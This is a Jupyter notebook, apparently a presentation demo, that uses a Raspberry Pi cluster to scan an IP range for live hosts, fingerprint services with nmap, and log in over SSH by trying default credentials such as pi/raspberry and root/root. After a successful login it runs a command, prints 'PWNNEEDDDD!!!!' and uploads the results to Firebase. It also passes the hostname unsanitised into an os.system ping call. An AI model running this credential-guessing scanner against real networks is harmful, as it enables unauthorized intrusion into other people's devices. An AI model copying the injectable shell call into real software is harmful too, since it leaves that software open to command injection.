ClusterDemo.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Raspberry Pi Cluster Network Scanning\n",
    "\n",
    "Notebook for presentation purposes.\n",
    "\n",
    "## `compute()`\n",
    "This is the function that is being run on the invidividual nodes. For a more in depth look, please look at `SingleDemo.ipynb`."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "def compute(hostname):\n",
    "    import os\n",
    "    if (os.system(\"ping -c 1 -w 1 \" + hostname)) == 0:\n",
    "        valid = \"alive\"\n",
    "        from libnmap.process import NmapProcess\n",
    "        from libnmap.parser import NmapParser\n",
    "        nmproc = NmapProcess(hostname, \"-sV\")\n",
    "        rc = nmproc.run()\n",
    "        parsed = NmapParser.parse(nmproc.stdout)\n",
    "        host = parsed.hosts[0]\n",
    "        services = []\n",
    "        status = \"Unknown\"\n",
    "        cracked = False\n",
    "        for serv in host.services:\n",
    "            services.append(str(serv.port) + \"/\" + str(serv.service))\n",
    "            if serv.port == 22:\n",
    "                import paramiko\n",
    "                client = paramiko.client.SSHClient()\n",
    "                client.load_system_host_keys()\n",
    "                client.set_missing_host_key_policy(paramiko.WarningPolicy)\n",
    "                uid_list=[\"pi\",\"odroid\",\"root\",\"admin\"]\n",
    "                pwd_list=[\"raspberry\",\"odroid\",\"root\",\"admin\",\"password\"]\n",
    "                for uid in uid_list:\n",
    "                    for pwd in pwd_list:\n",
    "                        try:\n",
    "                            if cracked == False:\n",
    "                                client.connect(hostname,username=uid,password=pwd)\n",
    "                                stdin, stdout, stderr = client.exec_command('ls -l')\n",
    "                                status = \"Poor SSH Credentials\"\n",
    "                                print(\"PWNNEEDDDD!!!!\")\n",
    "                                cracked = True\n",
    "                        except:\n",
    "                            print(\"failed to pwn\")\n",
    "                            status = \"Unknown\"\n",
    "                client.close()\n",
    "        import pyrebase\n",
    "        config = {\n",
    "            \"apiKey\": \"\",\n",
    "            \"authDomain\": \"clusterscanner.firebaseio.com\",\n",
    "            \"databaseURL\": \"https://clusterscanner.firebaseio.com/\",\n",
    "            \"storageBucket\": \"clusterscanner.appspot.com\"\n",
    "        }\n",
    "        firebase = pyrebase.initialize_app(config)\n",
    "        auth = firebase.auth()\n",
    "        user = auth.sign_in_with_email_and_password(\"pi@cluster.pi\", \"\")\n",
    "        db = firebase.database()  # reference to the database service\n",
    "        hoststruct = hostname.split(\".\")\n",
    "        data = {\"hostname\": hostname,\n",
    "                \"services\": services,\n",
    "                \"status\": status}\n",
    "        results = db.child(hoststruct[0]).child(hoststruct[1]).child(\n",
    "            hoststruct[2]).child(hoststruct[3]).set(data, user['idToken'])\n",
    "    else:\n",
    "        valid = \"dead\"\n",
    "    return (hostname, valid)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Cluster\n",
    "First we import [dispy](http://dispy.sourceforge.net/), a Python framework for distributed computing."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "import dispy"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Setup worker nodes, cluster and monitoring tool"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "2017-12-16 20:09:50 pycos - version 4.6.5 with epoll I/O notifier\n",
      "2017-12-16 20:09:50 dispy - dispy client version: 4.8.3\n",
      "2017-12-16 20:09:50 dispy - Storing fault recovery information in \"_dispy_20171216200950\"\n",
      "2017-12-16 20:09:51 dispy - Started HTTP server at ('0.0.0.0', 8181)\n"
     ]
    }
   ],
   "source": [
    "workers = ['169.254.102.163', '169.254.116.199',\n",
    "           '169.254.114.226', '169.254.156.34']\n",
    "\n",
    "cluster = dispy.JobCluster(compute, nodes=workers, ip_addr='169.254.148.126')\n",
    "\n",
    "import dispy.httpd, time\n",
    "http_server = dispy.httpd.DispyHTTPServer(cluster)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### We can now prepare our jobs (range of IP address)\n",
    "After preparing our job, we give the cluster 2 seconds to make sure everything is initialised properly. Then we check the status of the cluster."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Testing 50 hostnames\n",
      "\n",
      "                           Node |  CPUs |    Jobs |    Sec/Job | Node Time Sec\n",
      "------------------------------------------------------------------------------\n",
      " 169.254.116.199 (p2)           |     1 |       0 |      0.000 |         0.000\n",
      " 169.254.102.163 (p1)           |     1 |       0 |      0.000 |         0.000\n",
      " 169.254.114.226 (p3)           |     1 |       0 |      0.000 |         0.000\n",
      " 169.254.156.34 (p4)            |     1 |       0 |      0.000 |         0.000\n",
      "\n",
      "Total job time: 0.000 sec, wall time: 7.525 sec, speedup: 0.000\n",
      "\n"
     ]
    }
   ],
   "source": [
    "jobs = []\n",
    "test_range = []\n",
    "for i in range(0, 1):\n",
    "    for j in range(150, 200):\n",
    "        test_range.append(\"172.22.\" + str(i) + \".\" + str(j))\n",
    "print(\"Testing \" + str(len(test_range)) + \" hostnames\")\n",
    "\n",
    "time.sleep(2)\n",
    "cluster.print_status()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Showtime!\n",
    "Let's set the cluster on our jobs."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "169.254.116.199: 172.22.0.150 is dead.\n",
      "169.254.102.163: 172.22.0.151 is dead.\n",
      "169.254.114.226: 172.22.0.152 is dead.\n",
      "169.254.156.34: 172.22.0.153 is dead.\n",
      "169.254.114.226: 172.22.0.154 is dead.\n",
      "169.254.102.163: 172.22.0.155 is dead.\n",
      "169.254.156.34: 172.22.0.156 is dead.\n",
      "169.254.116.199: 172.22.0.157 is dead.\n",
      "169.254.114.226: 172.22.0.158 is dead.\n",
      "169.254.156.34: 172.22.0.159 is dead.\n",
      "169.254.116.199: 172.22.0.160 is dead.\n",
      "169.254.102.163: 172.22.0.161 is dead.\n",
      "169.254.114.226: 172.22.0.162 is dead.\n",
      "169.254.156.34: 172.22.0.163 is dead.\n",
      "169.254.102.163: 172.22.0.164 is dead.\n",
      "169.254.116.199: 172.22.0.165 is dead.\n",
      "169.254.114.226: 172.22.0.166 is alive.\n",
      "169.254.156.34: 172.22.0.167 is dead.\n",
      "169.254.102.163: 172.22.0.168 is dead.\n",
      "169.254.116.199: 172.22.0.169 is dead.\n",
      "169.254.102.163: 172.22.0.170 is dead.\n",
      "169.254.156.34: 172.22.0.171 is dead.\n",
      "169.254.116.199: 172.22.0.172 is dead.\n",
      "169.254.102.163: 172.22.0.173 is dead.\n",
      "169.254.156.34: 172.22.0.174 is dead.\n",
      "169.254.116.199: 172.22.0.175 is dead.\n",
      "169.254.102.163: 172.22.0.176 is dead.\n",
      "169.254.156.34: 172.22.0.177 is dead.\n",
      "169.254.116.199: 172.22.0.178 is dead.\n",
      "169.254.102.163: 172.22.0.179 is dead.\n",
      "169.254.156.34: 172.22.0.180 is dead.\n",
      "169.254.116.199: 172.22.0.181 is dead.\n",
      "169.254.102.163: 172.22.0.182 is dead.\n",
      "169.254.156.34: 172.22.0.183 is dead.\n",
      "169.254.116.199: 172.22.0.184 is dead.\n",
      "169.254.102.163: 172.22.0.185 is dead.\n",
      "169.254.156.34: 172.22.0.186 is dead.\n",
      "169.254.116.199: 172.22.0.187 is dead.\n",
      "169.254.102.163: 172.22.0.188 is dead.\n",
      "169.254.156.34: 172.22.0.189 is dead.\n",
      "169.254.116.199: 172.22.0.190 is dead.\n",
      "169.254.102.163: 172.22.0.191 is dead.\n",
      "169.254.156.34: 172.22.0.192 is dead.\n",
      "169.254.116.199: 172.22.0.193 is dead.\n",
      "169.254.102.163: 172.22.0.194 is dead.\n",
      "169.254.116.199: 172.22.0.195 is dead.\n",
      "169.254.156.34: 172.22.0.196 is dead.\n",
      "169.254.102.163: 172.22.0.197 is dead.\n",
      "169.254.116.199: 172.22.0.198 is dead.\n",
      "169.254.156.34: 172.22.0.199 is dead.\n",
      "\n",
      "                           Node |  CPUs |    Jobs |    Sec/Job | Node Time Sec\n",
      "------------------------------------------------------------------------------\n",
      " 169.254.116.199 (p2)           |     1 |      15 |      1.141 |        17.108\n",
      " 169.254.102.163 (p1)           |     1 |      15 |      1.073 |        16.094\n",
      " 169.254.114.226 (p3)           |     1 |       5 |      7.621 |        38.105\n",
      " 169.254.156.34 (p4)            |     1 |      15 |      1.141 |        17.120\n",
      "\n",
      "Total job time: 88.426 sec, wall time: 49.949 sec, speedup: 1.770\n",
      "\n",
      "2017-12-16 20:10:40 dispy - HTTP server waiting for 10 seconds for client updates before quitting\n",
      "\n",
      "Total time taken = 38.355035066604614\n"
     ]
    }
   ],
   "source": [
    "start = time.time()\n",
    "\n",
    "for i, address in enumerate(test_range):\n",
    "    job = cluster.submit(address)\n",
    "    job.id = i\n",
    "    jobs.append(job)\n",
    "\n",
    "for job in jobs:\n",
    "    try:\n",
    "        hostname, valid = job()  # waits for job to finish and returns results\n",
    "        print(job.ip_addr + \": \" + hostname + \" is \" + valid + \".\")\n",
    "    except Exception as e:\n",
    "        print(str(job) + \" failed: \" + str(e))\n",
    "\n",
    "end = time.time()\n",
    "cluster.print_status()\n",
    "http_server.shutdown()\n",
    "cluster.close()\n",
    "\n",
    "print(\"\")\n",
    "print(\"Total time taken = \" + str(end - start))"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.5.3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}